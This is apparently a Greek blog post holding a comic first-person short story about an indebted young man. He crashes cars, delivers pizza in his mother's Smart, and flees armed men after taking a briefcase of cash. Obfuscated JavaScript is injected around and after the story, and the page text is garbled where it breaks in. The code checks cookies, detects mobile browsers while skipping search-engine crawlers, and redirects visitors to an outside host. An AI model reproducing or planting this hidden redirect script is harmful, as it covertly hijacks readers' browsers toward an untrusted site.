)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Απρίλιος 13, 2007

Ντάντι να πάρω το σμαρτ απόψε;

Filed under: Uncategorized — thelastrealanwnymous @ 7 :42 πμ

Κυκλοφορώ με το μεγαλύτερο βι ελ κέι (vlk) της Αθήνας. Το ες παραλείπεται γιατί εννοείται. Είναι ο μεγαλύτερος βλάκας που ξέρω και είναι και κολλητός μου. Δεν θα πω εμ ελ κέι γιατί έχω καλούς τρόπους. Τα σύμφωνα είναι η μυστική γλώσσα του τσατ στο ίντερνετ. Ας πούμε όταν ρωτάς τον άλλο «κατάλαβες;» λες «κτλβ;» και αυτός φυσικά «κτλβαίνει» …οκ; Γιατί τώρα ξαναγυρίσαμε στην εποχή της γραφής; του γραπτού λόγου; θα σας πω γιατί. Εγώ που είχα πάθος με τον προφορικό λόγο έκανα κάτι λογαριασμούς στο κινητό, μα κάτι λογαριασμούς …άσε. Όταν θέλεις να πεις πολλά στο τσατ ή στο κινητό – όπως εγώ τώρα – δεν μπορείς να λες μεγάλες λέξεις όπως το «κατάλαβες» και λες (γράφεις) μόνο τα σύμφωνα.

Ο κολλητός μου εκτός από τη βλακεία του έχει και την έμμονη ιδέα ότι θα τον ερωτευθεί κάποια απ τις απίθανες Ουκρανές στο στριπτίζ που για τρία χιλιάρικα σου χαϊδεύουν με το γόνατο το πουλί και περιμένουν να δουν αν θα σκληρύνει. Αν δεν σκληρύνει αμέσως, γίνονται επίμονες και ακριβώς τότε αυτός πιστεύει ότι τον ερωτεύτηκαν. «Αρ τι εφ τι κέι» (rtftk=ερωτεύτηκαν) θα το λέγαμε στη μυστική γλώσσα. Καθίσαμε τέσσερις ώρες στο σόου. Προσπάθησε να φέρει πολλές φορές στο τραπέζι μία μέτρια μελαχρινή που πίστεψε ότι θα του καθόταν πιο εύκολα. Κάποια στιγμή δεν μας έφταναν τα χρήματα και ζήτησα διακανονισμό. Ο χοντρός που ήρθε να πληρωθεί φώναξε, γκρίνιαξε και μας έκοψε 25.000. «Πηδήξαμε» γόνατα αξίας 100.000 και πληρώσαμε 75. Όταν φεύγαμε ο mlk περιέγραφε πώς τον έτριβε η «μέτρια», πώς του πρότεινε τις ρώγες της, πόσο του χαμογελούσε και πόσο πιο σφιχτά από τις άλλες και με πόσο πάθος τον έκανε να νιώθει άντρας. Χαλάσαμε τα τελευταία 75 μας χιλιάρικα για το τίποτε για μια αηδία.

Η βενζίνη στο αυτοκίνητό του – ένα μαύρο τζέλικα του 80τόσο που κυκλοφορούμε και είμαστε σαν αρχαίοι μπάτσοι – είναι κάθε μέρα στο κόκκινο, και την ώρα που την ξανακοίταξε φρενάρισε ο μπροστινός μας στην παραλιακή και κολλήσαμε πάνω του και κατέβηκε και μας έβριζε σαν να είμαστε – τι άλλο θα μπορούσαμε να είμαστε; – πολύ μεγάλοι εμ ελ κέι. Όταν είμαστε στο αμάξι του κοιτάζουμε το δείκτη της βενζίνης και αν κυκλοφορεί κάτι πιο ενδιαφέρον από τους ντόπιους «κουβάδες» που να θυμίζει σοβιετική κορμοστασιά. (Υπάρχουν άνθρωποι που έχουν μάθει ακόμη και χωριά της Σιβηρίας, γιατί ο στόχος είναι πάντα ο ίδιος: φοράει μπότες χειμώνα – καλοκαίρι, έχει μακριά πόδια και ξέρει, μα ξέρει πάρα πολύ καλά να γδύνεται…).

Τον τρακάραμε πολύ δυνατά τον τύπο στην Ποσειδώνος και ούρλιαζε καλύπτοντας το θόρυβο των αυτοκινήτων. Εγώ μόλις είδα τα σκούρα μπήκα πάλι στο αυτοκίνητο και άναψα τσιγάρο. Θα περιμένω να δω τι θα μας κάνει σκέφτηκα. Και δεν έκανε τίποτε άλλο από το να φωνάζει και να κουνάει τα χέρια του σαν σημαιούλες σε παρέλαση και κάποια στιγμή έδειχνε και μένα, αλλά συνέχισα να τους γράφω και να σκέφτομαι ότι αντί να ξεχρεώνω μπαίνω όλο και περισσότερο μέσα.

 Τα χρέη ξεκίνησαν από μένα όταν άφησα έγκυο τη Νταίζη και δανείστηκα για να πληρώσω την έκτρωση και πήγαμε και σε ένα βλαμμένο γυναικολόγο φίλο του πατέρα μου που αρκέστηκε να μου φορτώσει τα τελευταία 300 χιλιάρικα που είχα διαθέσιμα στη βίζα μου από το ιατρικό κέντρο που μας πήγε και φυσικά μας είπε ότι είναι φιλική τιμή. Τον φανταζόμουν να κοιτάζει μέσα από τα ανοιχτά πόδια της Νταίζης σαν να διάβαζε ακόμα ένα ιατρικό σύγγραμμα. Ο πατέρας μου έλεγε ότι ήταν πολύ καλός μαθητής στο λύκειο και έτσι εμπιστεύτηκα τη Νταίζη μου στα μυωπικά μάτια του. Ξενέρωτος αλλά επιστήμων, αυτό ήταν, και τώρα η Νταίζη ήταν εδώ και μία εβδομάδα στο κρεβάτι και δεν βλεπόμασταν γιατί πρώτον δεν με χώνευε και δεύτερον δεν έπρεπε (να νούκου νούκου) να λικνιστούμε στο στρώμα μαζί. Μετά από μία βδομάδα χωρίς κοκό αναγκάστηκα να πάω με το βλάκα στο στριπτίζ. Έχω όλη τη κάρτα φουσκωμένη, δεν χωράει να πληρωθεί η παραμικρή μαλακία πλέον και ο γελοίος πήγε και τράκαρε.

Στο τρακάρισμα το φταίξιμο το έχει ο από πίσω. Πίσω είμαστε εμείς εδώ και ο βι ελ κέι με κοιτάζει απεγνωσμένα και σκέφτεται την κάρτα μου. Βγαίνω από το αμάξι τρελαμένος και του λέω να κάνει φιλικό διακανονισμό. Βάζει τα κλάματα μπροστά στον εκπαιδευτικό που του χτυπήσαμε το Άουντι και που μάζευε δεκάρες για να το αγοράσει και τώρα μας κοιτάζει σαν χαζός και λέει απελπισμένα ότι θα καλέσει την τροχαία και κοιτάζει το κινητό όπου έχει ήδη πάρει την γυναίκα του που μάλλον τον έβρισε και ας μη έφταιγε, μετά τον ασφαλιστή του που του είπε να καλέσει την τροχαία να καταγραφεί το ατύχημα και τον ρώτησε και τι ασφάλεια έχουμε. Μπαίνω πάλι στο αμάξι και τους αφήνω να κοιτάζονται σαν κομπλαρισμένο ζευγάρι που προσπαθεί να τα ψήσει και μέχρι να σπάσει ο πάγος κοιτάζονται σαν χαζοί και λένε ό,τι ηλιθιότητα τους κατέβει και ο εκπαιδευτικός αρχίζει να του μιλάει σαν να είναι μαθητής του και αυτός τον κοιτάζει ανακουφισμένος που δεν τον μισεί τόσο πολύ πλέον αλλά αυτό δεν σημαίνει ότι δεν θα πληρώσει και ότι δεν θα το μάθει ο ντάντι του που είναι αρκετά ύπνος για να του βάλει τις φωνές και να του κόψει το επίδομα για κανένα μήνα.

Κατεβαίνω πάλι από το αυτοκίνητο και ενώ περιμένουμε τα παιδιά με τα μπλε φώτα και τα μπλε ρούχα βάζω το κεφάλι μου κάτω από το δικό μας και ανακαλύπτω ότι έχει σπάσει το ψυγείο και ότι δεν μπορούμε να πάμε πουθενά. Δεν λέω τίποτα, κάθομαι στο κάθισμα του οδηγού και βάζω μπρος και δεν κουνιέται τίποτε και όλα τα λαμπάκια ανάβουν κόκκινα και χρειαζόμαστε και οδική βοήθεια και αυτοί θέλουν ένα κατοστάρικο για να σε κουβαλήσουν και σε γράφουν συνδρομητή με το ζόρι για ένα χρόνο και είναι πολύ φιλικοί μαζί σου. Όπως ακούνε το μοτέρ να προσπαθεί να κουνήσει το όχημά μας, τρέχουν πάνω μου, ο μεν εκπαιδευτικός για να μη το μετακινήσω και δεν καταλάβουν οι τροχαίοι ότι φταίξαμε, ο δε βλαμμένος νόμισε ότι θα κάνω μεγαλύτερη ζημιά. Κατέβηκα γελώντας και του είπα ότι δεν πάμε πουθενά και ότι χρειαζόμαστε χελπ ρόουντ και με κοίταξε πάλι με απελπισία και είδα ως το βράδυ τη κάρτα μου να φορτώνει άλλες 100 χιλιάδες που πρέπει να πληρωθούν αμέσως στην επόμενη δόση γιατί έχω υπέρβαση ορίου και δεν μπορώ να ζητήσω από πουθενά και δεν ξέρω τι θα κάνω. Αυτός υπόσχεται ότι θα του τα δώσει ο ντάντι του και βάζει πάλι τα κλάματα…………

Όλα αυτά τα σκέφτομαι μέσα στο Σμαρτ ενώ ψάχνω ένα κολόδρομο στη Γλυφάδα, τη στιγμή που από το διπλανό κάθισμα μου έρχεται το άρωμα μιας πίτσας βετζετέριαν και δεν υπάρχει καλύτερο αμάξι από το Σμαρτ για ντελίβερι και ψάχνω αυτόν το γελοίο που είναι ελαστικός χορτοφάγος διότι το λιωμένο τυρί είναι εξίσου βλαπτικό με το κρέας. Βρίσκω τελικά τη μονοκατοικία και χτυπάω το κουδούνι και ανοίγει η πόρτα και βγαίνει ένα κουκλί που μου κόβει την ανάσα και μου παίρνει την πίτσα από τα χέρια και ενώ περιμένω τα χρήματα έρχομαι μούρη με μούρη με το πιο πειθαρχημένο λαμπραντόρ του κόσμου, που με επεξεργάζεται, περιμένει να πάρω τα χρήματα από το κουκλί που μου χαμογελάει και μετά χάνεται στο βάθος του σπιτιού ενώ το κουκλί μου λέει πολύ γλυκά «ευχαριστώ» και εγώ δεν μπορώ να κουνηθώ από την πόρτα.

Κατεβαίνω σαν μαγεμένος και δεν μετράω τι κρατάω στα χέρια μου και μπαίνω στο σμαρτ που είναι της μητέρας μου και το διάλεξε σε μπλε-γκρι, με γκρι μούρη και γκρι φτερά πίσω, ενώ το μπλε αγκαλιάζει το πίσω μέρος της πόρτας κατεβαίνοντας από τον ουρανό. Η φίλη της απέναντι έχει ένα κατακίτρινο Σμαρτ σαν καναρίνι, έτσι το είπε ο πατέρας μου. Η μητέρα δεν το πάει με τίποτε εκείνο τα αμάξι, αν και εδώ που τα λέμε πήγαν μία μέρα και τα αγόρασαν μαζί. Ανέβηκαν σε εκείνη τη μεταλλική κατασκευή που τα κάνει να φαίνονται σαν συλλογή με παιχνίδια και η μάμι διάλεξε το γκρι-μπλε, ενώ η φίλη της το κατακίτρινο – πράγμα που αιφνιδίασε τη μητέρα και προσπάθησε να την αποτρέψει αλλά εκείνη επέμεινε πεισματικά. Εγώ πιστεύω ότι η κολλητή της ήθελε να δείξει ότι νεάζει και αντέχει στο χρόνο και αυτό ενόχλησε πολύ τη μητέρα μου σε βαθμό να σκεφτεί να ακυρώσει την παραγγελία για να μη ταυτιστεί με το στυλ αυτής της ονειροπαρμένης, αλλά δεν ήθελε να εκτεθεί και τελικά το αγόρασε. Η διαμάχη δεν σταμάτησε εδώ και η μητέρα μου στην πρώτη ευκαιρία που συναντήθηκαν όλη η παρέα οι κολλητές γύρισε και της είπε «Μα καλά γλυκιά μου, ηπατίτιδα έχει το αυτοκίνητό σου και είναι τόσο κίτρινο;» Η φίλη της κράτησε τη σημείωση, αλλά εξακολούθησε να το παίζει πιτσιρίκα αισθανόμενη τη χαρά να θυμώνει τη μητέρα μου με τη στάση της. Από τότε αν θέλει κάποιος στο σπίτι να πειράξει τη μητέρα μου τη ρωτάει πως θα της φαινόταν να έβαφε το σμαρτάκι της γέλοου.

Γύρισα στην πιτσαρία και καθόμουνα με τον άλλο που οδηγεί το άθλιο παπί του μαγαζιού μες το κρύο γιατί δεν του έχουν αναγνωρίσει ακόμα το πτυχίο από το Δικατσά και θέλει να ανοίξει γυμναστήριο και φυσικά δεν τον φοβίζει το κρύο αυτού του κατά άλλα ζεστού χειμώνα. Μόνο για ένα πράγμα τον ζηλεύω: χρωστάει πολύ λιγότερα από μένα ή μάλλον δεν χρωστάει πουθενά. Φαντάζομαι θα βγάλει την πρώτη βίζα του αφού ανοίξει το γυμναστήριο. Είναι καλό παιδί μιλάει πιο συχνά για ποδόσφαιρο και στοίχημα παρά για Ουκρανές, κλαμπ και κομπρέσορ. Γίνεται πολύ εύκολα φιλικός και δείχνει ότι δεν έχει να κρύψει τίποτε για τον εαυτό του και τη ζωή του. Λέει με φυσικότητα τα σχέδιά του και δεν πουλάει μούρη. Τον ψιλοσνομπάρω, αλλά ανέχομαι όλη αυτή τη φάση, γιατί είμαι υποχρεωμένος να δουλέψω ντιλίβερι για να ξεχρεώσω.

Τώρα θα σας πω που έπιασα δουλειά. Πιτσαρία: «Στόρια Λα Πίτσα», ήθελε να δώσει ένα σοφιστικέ όνομα στο μαγαζί το αφεντικό διότι στη Γλυφάδα δεν μπορεί να λένε το μαγαζί «Πίτσα η Μάσα» ούτε «Η Νόστιμη Πίτσα» και κατάφερε να βρει ένα τηλέφωνο με πολλά 9άρια το οποίο χτύπησε εκείνη τη στιγμή και ο συνάδελφος με το παπάκι ετοιμάστηκε να φύγει. Κάθομαι στο σκαμπό και κάνω πάλι υπολογισμούς, έχω υπερβεί το όριο 100 χιλιάρικα και είναι και η ελάχιστη καταβολή και οι τόκοι, θα χρειαστώ περίπου μία 200σαρα, τώρα αν έχουν μειώσει την ελάχιστη καταβολή στο 5% του συνόλου θα γλιτώσω με 150 χιλιαρικάκια. Σκέφτομαι να πάρω τηλέφωνο το βι ελ κέι και να του πω για τα 100 χιλιάρικα που του έδωσα για τη μεταφορά και την εγγραφή στην οδική βοήθεια αλλά εδώ το τηλέφωνο δεν πρέπει να το απασχολούμε και στο κινητό δεν μπορώ να φορτώσω ούτε μονάδα. Από τη μέρα που τρακάραμε μιλήσαμε μόνο μία φορά και είχε κλεισμένο το λαιμό από γρίπη. Δεν άντεξε η ευαίσθητη ψυχούλα του τόσα χτυπήματα της μοίρας, έπεσε η αντίσταση του και κρεβατώθηκε. Μου μιλούσε με 39 πυρετό ανάμεσα σε αντιπυρετικά και βιταμίνες. Δεν πρόλαβα να του πω ότι έπιασα δουλειά και θέλω επειγόντως να μάθω για τα 100 που μου χρωστάει αλλά… ακόμη μία πίτσα είναι έτοιμη, η διεύθυνση είναι πάλι ένα σκοτεινό στενό με μονοκατοικίες και πάλι θα ψάχνω και φοβάμαι και για το σμαρτ που το πήρα κρυφά και τώρα με συνεπιβάτη την …πίτσα, αυτή τη φορά είναι σπέσιαλ με όλα τα αλλαντικά και τα τυριά του μαγαζιού μέσα και είναι και οικογενειακό μέγεθος και να δω πώς θα ξεμυρίσει το αυτοκίνητο μέχρι αύριο. Δεν το πιστεύω βρήκα την διεύθυνση αμέσως, είναι μία μικρή τριώροφη πολυκατοικία γωνιακή με αυλή και κήπο διακοσμημένο με πολλούς θάμνους και παρκάρω το Σμαρτ στη γωνία ακριβώς και κατεβαίνω για να δώσω τη πίτσα. Χτυπάω το κουδούνι και όλα πάνε καλά ως εδώ, βγαίνει μία κυρία που μάλλον με συμπάθησε πολύ και μου άφησε ένα πολύ μεγάλο πουρμπουάρ και ενώ επιστρέφω στο αμάξι όπως περνάω ανάμεσα από παρκαρισμένα αυτοκίνητα κάπου σκαλώνει το πόδι μου και πέφτω. Το χέρι μου το αριστερό μέχρι να σηκωθώ και να το κοιτάξω έχει αρχίσει να πρήζεται στο καρπό και έχει ένα βαθύ γλυκό πόνο. Θα είναι θαύμα αν θα μπορώ να δουλέψω αύριο. Σκύβω να κοιτάξω τι ήταν αυτό που με σκότωσε και βλέπω ένα μισάνοιχτο χαρτοφύλακα, τον ανοίγω και πέφτουν μερικές δεσμίδες με χαρτονομίσματα. Ενστικτωδώς σηκώνω το κεφάλι μου και κοιτάζω τριγύρω να δω αν με βλέπει κανείς. Είμαι ακόμα σκυμμένος πονάω και κρατάω στα χέρια μου τόσα χρήματα που μπορώ να αγοράσω και τη τζάγκι του ντάντι μου. Κοιτάζω γύρω μου πάλι με πολλή προσοχή και κλείνω προσεκτικά το χαρτοφύλακα. Συνεχίζω σκυμμένος να προχωράω και φθάνω στο Σμάρτ. Μπαίνω γρήγορα και βάζω μπρος. Ο χαρτοφύλακας στη θέση της πίτσας, είναι ο πιο σημαντικός συνοδηγός που είχα ποτέ.

Μέχρι να κάνω μανούβρα ένα τζιπ φρενάρει σχεδόν δίπλα μου και κάποιος κατεβαίνει και ψάχνει στο πεζοδρόμιο. Δεν βρίσκει αυτό που ζητάει ενώ εγώ ξεκινάω μαλακά προσπαθώντας να κρατήσω τη ψυχραιμία μου. Στο τζιπ υπάρχουν άλλοι τρεις άντρες. Τώρα νομίζω ότι με ακολουθούν. Αυξάνω ταχύτητα αυξάνουν και αυτοί. Επιταχύνω και με ακολουθούν ενώ τώρα βλέπω και τις αστραφτερές κάνες από τα όπλα τους. Μου κάνουν νόημα να σταματήσω μέσα από το καθρέφτη. Στρίβω απότομα δεξιά και ξεφεύγω προσωρινά με φθάνουν και μάλλον ακούω κάτι σαν πυροβολισμό. Επιταχύνω και περνάω το επόμενο φανάρι με κόκκινο. Ακολουθούν. Δεύτερο κόκκινο φανάρι. Αυτοί εξακολουθούν να είναι πίσω μου. Βλέπω δεξιά μου ένα μεγάλο πεζοδρόμιο. Είναι μονόδρομος. Μόλις βρίσκω κενό από τα παρκαρισμένα αυτοκίνητα κοκαλώνω και ανεβαίνω στο πεζοδρόμιο από το κενό. Φρενάρουν πίσω μου χωρίς να καταλαβαίνουν τι κάνω, ενώ εγώ οδηγώ πάνω στο πεζοδρόμιο πηγαίνοντας αντίθετα στο μονόδρομο. Τους έχω αιφνιδιάσει. Προσπαθούν να με ακολουθήσουν με όπισθεν. Στη γωνία τoυ δρόμου κατεβαίνω από το πεζοδρόμιο αλλά δεν χωράω άνετα. Γρατζουνάω και τις δύο πόρτες μου σε ένα παρκαρισμένο αυτοκίνητο και σε ένα δέντρο. Συνεχίζω μία τρελή πορεία χωρίς να σκέφτομαι πλέον τις ζημιές και είμαι σίγουρος ότι γλίτωσα, αλλά θέλω να καλύψω τα νώτα μου και επιστρέφω εκεί που βρήκα τα χρήματα και τώρα ξέρω που θα τα κρύψω. Παρκάρω πάλι στη γωνία. Η γειτονιά είναι ήσυχη. Κανείς δεν κατάλαβε τι συμβαίνει. Μπαίνω στον κήπο, φθάνω σε ένα διακοσμητικό πηγάδι το ανοίγω και ρίχνω τη τσάντα μέσα. Βγαίνω γρήγορα, παίρνω το Σμαρτ και φεύγω όσο πιο γρήγορα γίνεται. Περνάω το επόμενο φανάρι με κόκκινο. Περνάω και το δεύτερο, ένα παπί έρχεται πάνω μου και είναι το παπί της «Στόρια Λα Πίτσα» και τα δύο ντιλίβερι του μαγαζιού συναντιούνται στην πιο άσχημη στιγμή. Τρακάρουμε στη δεξιά μου πόρτα, κατεβαίνω και θέλω -νιώθω ότι θέλω πολύ- να με πυροβολήσουν τώρα, αυτή τη στιγμή, γιατί μόνο έτσι θα ηρεμήσω απόψε. Ο συνάδελφος μάλλον τη γλίτωσε φθηνά.Το παπί έγινε σαν ψητή πιπεριά πάνω σε πίτσα. Τον βάζω στο Σμαρτ και ξεκινάω. Προσπαθεί να μου πει τι μεγάλες μαλακίες κάνω και καταλαβαίνω ότι λιποθυμάει. Πού να πάω; Να πάω στο μαγαζί; Να πάω σπίτι; Φρενάρω και προσπαθώ να τον συνεφέρω. Κατεβαίνω από το αυτοκίνητο, ανοίγω την πόρτα του. Τον κουνάω και προσπαθώ να τον κάνω να αναπνεύσει. Μόλις ανοίγει τα μάτια του εμφανίζεται το τζιπ. Κλείνω τη πόρτα και τρέχω γρήγορα στο τιμόνι. Πατάω τέρμα το γκάζι και το μόνο που ξέρω να κάνω πλέον είναι να περνάω με κόκκινο. Περνάω και δεν συμβαίνει τίποτε. Με ακολουθούν. Στο επόμενο κόκκινο φρενάρω και επειδή τους βλέπω να με πλησιάζουν με ταχύτητα ξεκινάω πάλι και μόλις που αποφεύγω τη σύγκρουση με ένα απορριμματοφόρο, ενώ το τζιπ παρ όλες τις φιλότιμες προσπάθειες να στρίψει πέφτει πάνω του και το βλέπω από τον καθρέφτη μου να ντεραπάρει και να γυρίζει ανάποδα, ακούγεται ένας πυροβολισμός και φαίνεται ότι μετέφεραν και κάποια εκρηκτικά γιατί δεν μπορώ να εξηγήσω την έκρηξη και τη φωτιά που ακολούθησε. Σταμάτησα και κοίταξα τις φλόγες που τύλιξαν το τζιπ.

 Ο Δημήτρης συνήλθε εντελώς και πονούσε σε όλο του το σώμα. Τον ρώτησα πού να τον πάω. Πήραμε τηλέφωνο το μαγαζί και του είπαμε ότι δεν θα πάμε. Φώναξε για τη δουλειά και για το παπί και του είπαμε ότι θα πάμε αύριο. Όλα θα τελείωναν εδώ, αλλά δεν μπορούσα να πάω με τρακαρισμένο Σμαρτ στο σπίτι. Τι κάνουμε ρε Δημητράκη; ρωτάω. Έχει ένα φίλο φανοποιό στη Καλλιθέα, που κάνει τέτοιες εξυπηρετήσεις και τη νύχτα. Πάμε και τον βρίσκουμε να βλέπει τσόντα στο φιλμνέτ. Αφήνει ανόρεχτα τη πολυθρόνα του για να κάνει διάγνωση στο τραύμα. Σκέφτεται λίγο και λέει στο Δημήτρη: «Είναι φίλος είπες; και πέρασε με κόκκινο και σε τράκαρε; Και θες να τον ξελασπώσουμε απόψε; Γίνεται. Αλλά μόνο κίτρινο υπάρχει. Μου έχουν τελειώσει όλα τα χρώματα.» Προσπαθώ να μιλήσω για το κίτρινο, αλλά μου λένε να σκάσω και να περιμένω. Κάθομαι στο φιλμνέτ και αυτοί οι δύο πιάνουν δουλειά. Το χρώμα είναι ακριλικό και δεν θα χρειαστεί ψήσιμο. Θα το πάω βαμμένο σπίτι και αύριο βλέπουμε. Δουλεύουν και οι δύο πολλές ώρες και με παίρνει ο ύπνος στην τηλεόραση.

Κάποια στιγμή ο φανοποιός με ξυπνάει και λέει «Μικρέ ξύπνα, είναι έτοιμο». Όπως το κοιτάζω γυρίζει και μου λέει «χρωστάς 100 χιλιάρικα και δεν σε χρεώνουμε τη νυχτερινή εργασία». Τότε συνειδητοποιώ ότι έχω ένα χέρι ρόπαλο από το πρήξιμο και θα οδηγήσω με δυσκολία. Επίσης συνειδητοποιώ ότι το κίτρινο που του είχε περισσέψει είναι ακριβώς η απόχρωση της κολλητής της μάμις μου. Αφήνω το Δημήτρη στο κολλητό του και με κακή διάθεση γυρίζω σπίτι. Είναι 7 το πρωί όταν φθάνω. Το βάζω στο γκαράζ ενώ ο ντάντι έχει το δικό του έξω. Σκέφτηκα πολλές φορές στη διαδρομή να πάρω το χαρτοφύλακα αλλά δεν το ρισκάρω με το φως της μέρας.

Ανοίγω όσο πιο σιγά γίνεται την πόρτα. Ο ντάντι θα ξυπνήσει μέσα στα επόμενα λεπτά. Η μάμι ξυπνάει αργότερα. Δεν θα είχα ποτέ το θάρρος να της ζητήσω το Σμαρτ. Πλησιάζω το τραπέζι και βρίσκω το χαρτάκι που άφησα στη φοντανιέρα και που μάλλον δεν το είδε αυτός. Πριν το τσαλακώσω και το βάλω στη τσέπη μου του ρίχνω μία τελευταία ματιά. Με αμήχανα και βιαστικά γράμματα είναι γραμμένο: «Ντάντι να πάρω το Σμαρτ απόψε;»var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 